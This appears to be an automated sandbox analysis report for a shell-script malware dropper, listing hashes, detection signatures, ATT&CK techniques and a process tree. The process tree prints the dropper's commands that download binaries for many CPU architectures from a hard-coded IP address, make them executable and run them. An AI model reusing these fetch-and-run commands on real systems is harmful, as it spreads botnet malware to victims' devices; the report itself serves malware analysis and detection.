6015542aac9abb35ca73853e01d9adc9a7cd8d2801de48c088e1f29626c8ef53

Analysis

max time kernel
149s
max time network
151s
platform
debian-9_armhf
resource
debian9-armhf-20260513-en
resource tags

arch:armhfimage:debian9-armhf-20260513-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
04/06/2026, 10:06

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
_6015542aac9abb35ca73853e01d9adc9a7cd8d2801de48c088e1f29626c8ef53.sh
Size 1KB
Sample260604-l5f7vsdt2m
SHA256 6015542aac9abb35ca73853e01d9adc9a7cd8d2801de48c088e1f29626c8ef53
MD5 a108a29b2fdc2918d7e8285c33860394
SHA1 8e14ac4a42bee0adbc3ff65faa57b218abe62eb6
SHA512 d0ce4d386e9e0f033a597cc2d4a7c62c34f9e4f7f3eae1d2883a0fd2ae9cec359076c82d5c8cf8a114db815c1c33195081f6a74475e269fa9340fe6fbbf916a1
TLSH
T1C831FB8E65F811C1C58CCE0070E5CDD8E3AEA590B1B9873BED631EF78089DA43C19A36
MD5 SHA1 SHA512 TLSH

Score

7^/10

defense_evasion discovery upx

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 14 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
788	chmod
793	chmod
798	chmod
668	chmod
735	chmod
759	chmod
763	chmod
771	chmod
775	chmod
779	chmod
783	chmod
714	chmod
755	chmod
767	chmod

Deletes itself 3 IoCs

pid	Process
787	iran.armv4l
792	iran.armv5l
801	iran.armv7l

Executes dropped EXE 1 IoCs

ioc	pid	Process
/tmp/iran.x86_64	669	_6015542aac9abb35ca73853e01d9adc9a7cd8d2801de48c088e1f29626c8ef53.sh

Enumerates running processes
Discovers information about currently running processes on the system

UPX packed file 1 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/files/fstream-1.dat	upx

Changes its process name 3 IoCs

description	ioc	pid	Process
Changes the process name, possibly in an attempt to hide itself	t.me/flylegit	787	iran.armv4l
Changes the process name, possibly in an attempt to hide itself	t.me/flylegit	792	iran.armv5l
Changes the process name, possibly in an attempt to hide itself	t.me/flylegit	801	iran.armv7l

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/636/comm	iran.armv5l
File opened for reading	/proc/23/comm	iran.armv7l
File opened for reading	/proc/135/comm	iran.armv4l
File opened for reading	/proc/587/comm	iran.armv4l
File opened for reading	/proc/289/comm	iran.armv7l
File opened for reading	/proc/303/comm	iran.armv7l
File opened for reading	/proc/1/comm	iran.armv4l
File opened for reading	/proc/156/comm	iran.armv4l
File opened for reading	/proc/13/comm	iran.armv5l
File opened for reading	/proc/14/comm	iran.armv5l
File opened for reading	/proc/105/comm	iran.armv5l
File opened for reading	/proc/141/comm	iran.armv5l
File opened for reading	/proc/797/comm	iran.armv7l
File opened for reading	/proc/2/comm	iran.armv4l
File opened for reading	/proc/220/comm	iran.armv4l
File opened for reading	/proc/12/comm	iran.armv7l
File opened for reading	/proc/74/comm	iran.armv7l
File opened for reading	/proc/96/comm	iran.armv7l
File opened for reading	/proc/3/comm	iran.armv4l
File opened for reading	/proc/24/comm	iran.armv4l
File opened for reading	/proc/278/comm	iran.armv4l
File opened for reading	/proc/2/comm	iran.armv5l
File opened for reading	/proc/6/comm	iran.armv5l
File opened for reading	/proc/312/comm	iran.armv5l
File opened for reading	/proc/563/comm	iran.armv5l
File opened for reading	/proc/4/comm	iran.armv7l
File opened for reading	/proc/106/comm	iran.armv4l
File opened for reading	/proc/579/comm	iran.armv4l
File opened for reading	/proc/8/comm	iran.armv5l
File opened for reading	/proc/165/comm	iran.armv5l
File opened for reading	/proc/303/comm	iran.armv5l
File opened for reading	/proc/789/comm	iran.armv5l
File opened for reading	/proc/11/comm	iran.armv7l
File opened for reading	/proc/19/comm	iran.armv7l
File opened for reading	/proc/18/comm	iran.armv4l
File opened for reading	/proc/23/comm	iran.armv4l
File opened for reading	/proc/41/comm	iran.armv5l
File opened for reading	/proc/276/comm	iran.armv7l
File opened for reading	/proc/11/comm	iran.armv4l
File opened for reading	/proc/20/comm	iran.armv4l
File opened for reading	/proc/22/comm	iran.armv4l
File opened for reading	/proc/21/comm	iran.armv7l
File opened for reading	/proc/25/comm	iran.armv7l
File opened for reading	/proc/103/comm	iran.armv7l
File opened for reading	/proc/135/comm	iran.armv7l
File opened for reading	/proc/24/comm	iran.armv5l
File opened for reading	/proc/3/comm	iran.armv7l
File opened for reading	/proc/41/comm	iran.armv7l
File opened for reading	/proc/312/comm	iran.armv7l
File opened for reading	/proc/5/comm	iran.armv4l
File opened for reading	/proc/7/comm	iran.armv4l
File opened for reading	/proc/9/comm	iran.armv4l
File opened for reading	/proc/638/comm	iran.armv5l
File opened for reading	/proc/7/comm	iran.armv7l
File opened for reading	/proc/139/comm	iran.armv7l
File opened for reading	/proc/15/comm	iran.armv4l
File opened for reading	/proc/635/comm	iran.armv4l
File opened for reading	/proc/9/comm	iran.armv5l
File opened for reading	/proc/2/comm	iran.armv7l
File opened for reading	/proc/10/comm	iran.armv4l
File opened for reading	/proc/41/comm	iran.armv4l
File opened for reading	/proc/74/comm	iran.armv4l
File opened for reading	/proc/11/comm	iran.armv5l
File opened for reading	/proc/640/comm	iran.armv5l

System Network Configuration Discovery 1 TTPs 4 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
756	iran.mips
758	wget
760	iran.mipsel
740	wget

Writes file to tmp directory 14 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/iran.armv4l	wget
File opened for modification	/tmp/iran.armv6l	wget
File opened for modification	/tmp/iran.x86_64	wget
File opened for modification	/tmp/iran.m68k	wget
File opened for modification	/tmp/iran.mipsel	wget
File opened for modification	/tmp/iran.arc	wget
File opened for modification	/tmp/iran.armv5l	wget
File opened for modification	/tmp/iran.armv7l	wget
File opened for modification	/tmp/iran.aarch64	wget
File opened for modification	/tmp/iran.mips	wget
File opened for modification	/tmp/iran.powerpc	wget
File opened for modification	/tmp/iran.sparc	wget
File opened for modification	/tmp/iran.sh4	wget
File opened for modification	/tmp/iran.i486	wget

/tmp/_6015542aac9abb35ca73853e01d9adc9a7cd8d2801de48c088e1f29626c8ef53.sh
/tmp/_6015542aac9abb35ca73853e01d9adc9a7cd8d2801de48c088e1f29626c8ef53.sh
1⤵
- Executes dropped EXE
PID:639
- /usr/bin/wget
  wget http://82.25.63.213/iran.x86_64
  2⤵
  - Writes file to tmp directory
  PID:643
- /bin/chmod
  chmod 777 iran.x86_64
  2⤵
  - File and Directory Permissions Modification
  PID:668
- /tmp/iran.x86_64
  ./iran.x86_64
  2⤵
  PID:669
- /usr/bin/wget
  wget http://82.25.63.213/iran.aarch64
  2⤵
  - Writes file to tmp directory
  PID:671
- /bin/chmod
  chmod 777 iran.aarch64
  2⤵
  - File and Directory Permissions Modification
  PID:714
- /tmp/iran.aarch64
  ./iran.aarch64
  2⤵
  PID:716
- /usr/bin/wget
  wget http://82.25.63.213/iran.m68k
  2⤵
  - Writes file to tmp directory
  PID:718
- /bin/chmod
  chmod 777 iran.m68k
  2⤵
  - File and Directory Permissions Modification
  PID:735
- /tmp/iran.m68k
  ./iran.m68k
  2⤵
  PID:737
- /usr/bin/wget
  wget http://82.25.63.213/iran.mips
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:740
- /bin/chmod
  chmod 777 iran.mips
  2⤵
  - File and Directory Permissions Modification
  PID:755
- /tmp/iran.mips
  ./iran.mips
  2⤵
  - System Network Configuration Discovery
  PID:756
- /usr/bin/wget
  wget http://82.25.63.213/iran.mipsel
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:758
- /bin/chmod
  chmod 777 iran.mipsel
  2⤵
  - File and Directory Permissions Modification
  PID:759
- /tmp/iran.mipsel
  ./iran.mipsel
  2⤵
  - System Network Configuration Discovery
  PID:760
- /usr/bin/wget
  wget http://82.25.63.213/iran.powerpc
  2⤵
  - Writes file to tmp directory
  PID:762
- /bin/chmod
  chmod 777 iran.powerpc
  2⤵
  - File and Directory Permissions Modification
  PID:763
- /tmp/iran.powerpc
  ./iran.powerpc
  2⤵
  PID:764
- /usr/bin/wget
  wget http://82.25.63.213/iran.sparc
  2⤵
  - Writes file to tmp directory
  PID:766
- /bin/chmod
  chmod 777 iran.sparc
  2⤵
  - File and Directory Permissions Modification
  PID:767
- /tmp/iran.sparc
  ./iran.sparc
  2⤵
  PID:768
- /usr/bin/wget
  wget http://82.25.63.213/iran.sh4
  2⤵
  - Writes file to tmp directory
  PID:770
- /bin/chmod
  chmod 777 iran.sh4
  2⤵
  - File and Directory Permissions Modification
  PID:771
- /tmp/iran.sh4
  ./iran.sh4
  2⤵
  PID:772
- /usr/bin/wget
  wget http://82.25.63.213/iran.arc
  2⤵
  - Writes file to tmp directory
  PID:774
- /bin/chmod
  chmod 777 iran.arc
  2⤵
  - File and Directory Permissions Modification
  PID:775
- /tmp/iran.arc
  ./iran.arc
  2⤵
  PID:776
- /usr/bin/wget
  wget http://82.25.63.213/iran.i486
  2⤵
  - Writes file to tmp directory
  PID:778
- /bin/chmod
  chmod 777 iran.i486
  2⤵
  - File and Directory Permissions Modification
  PID:779
- /tmp/iran.i486
  ./iran.i486
  2⤵
  PID:780
- /usr/bin/wget
  wget http://82.25.63.213/iran.armv4l
  2⤵
  - Writes file to tmp directory
  PID:782
- /bin/chmod
  chmod 777 iran.armv4l
  2⤵
  - File and Directory Permissions Modification
  PID:783
- /tmp/iran.armv4l
  ./iran.armv4l
  2⤵
  - Deletes itself
  - Changes its process name
  - Reads runtime system information
  PID:784
- /usr/bin/wget
  wget http://82.25.63.213/iran.armv5l
  2⤵
  - Writes file to tmp directory
  PID:786
- /bin/chmod
  chmod 777 iran.armv5l
  2⤵
  - File and Directory Permissions Modification
  PID:788
- /tmp/iran.armv5l
  ./iran.armv5l
  2⤵
  - Deletes itself
  - Changes its process name
  - Reads runtime system information
  PID:789
- /usr/bin/wget
  wget http://82.25.63.213/iran.armv6l
  2⤵
  - Writes file to tmp directory
  PID:791
- /bin/chmod
  chmod 777 iran.armv6l
  2⤵
  - File and Directory Permissions Modification
  PID:793
- /tmp/iran.armv6l
  ./iran.armv6l
  2⤵
  PID:794
- /usr/bin/wget
  wget http://82.25.63.213/iran.armv7l
  2⤵
  - Writes file to tmp directory
  PID:795
- /bin/chmod
  chmod 777 iran.armv7l
  2⤵
  - File and Directory Permissions Modification
  PID:798
- /tmp/iran.armv7l
  ./iran.armv7l
  2⤵
  - Deletes itself
  - Changes its process name
  - Reads runtime system information
  PID:799

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

iran.x86_64

Path /tmp/iran.x86_64
Size 46KB
SHA256 0a75b48762ad77eba0f8832eb59f0f1ccda8d517533f77b5bddfa8cde4313052
MD5 f2c721a63279a7a88b20a858db93885f
SHA1 c0f2941bfb129f4aeb779893d824470126f976d9
SHA512 15f8854a8900ef4e10b0a025c616e3b8a54bb3703ce874bad39ce4eb167ac2833a48dbb9523a5e9534792ee28072943c71b35896306a09c916eefaa265f87c9c
SSDEEP 768:SInEVflzTpXUiyd0voPa/tawgkPqTbj7gx57UDQoZkTdrAF4C:js/JlRvoPa/tP2jgz7aqE
TLSH
T1A423F17346BAE8F1D02865BB405DD954D07D759013D40FB680F8B5FADDF2E902E209AB
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download